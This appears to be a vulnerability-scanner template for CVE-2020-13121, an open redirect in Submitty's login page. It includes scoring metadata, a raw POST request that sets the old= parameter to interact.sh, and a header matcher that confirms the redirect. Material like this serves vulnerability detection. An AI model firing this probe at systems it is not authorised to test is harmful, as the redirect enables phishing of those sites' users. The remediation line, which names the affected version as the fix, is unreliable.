Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2020-13121
info:
name: Submitty <= 20.04.01 - Open Redirect
author: 0x_Akoko
severity: medium
description: Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
remediation: |
Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability.
reference:
- https://github.com/Submitty/Submitty/issues/5265
- https://nvd.nist.gov/vuln/detail/CVE-2020-13121
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-13121
cwe-id: CWE-601
epss-score: 0.1626
epss-percentile: 0.94597
cpe: cpe:2.3:a:rcos:submitty:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: rcos
product: submitty
tags: cve,cve2020,redirect,submitty,oos,rcos
http:
- raw:
- |
POST /authentication/check_login?old=http%253A%252F%252Finteract.sh%252Fhome HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}/authentication/login
user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4b0a00483046022100ae4d68025da26a3d6a48e93e6080213a01350dff0ae71fe7fb11aafa077d452b022100ef0d8b807ff27d6ccb1fb651e3f3a4427cf30fa9ed5012b90f6634fee9651596:922c64590222798bb761d5b6d8e72950